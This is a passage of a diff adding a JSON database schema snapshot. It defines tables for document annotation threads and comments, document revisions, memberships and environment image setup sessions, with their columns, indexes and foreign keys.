+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
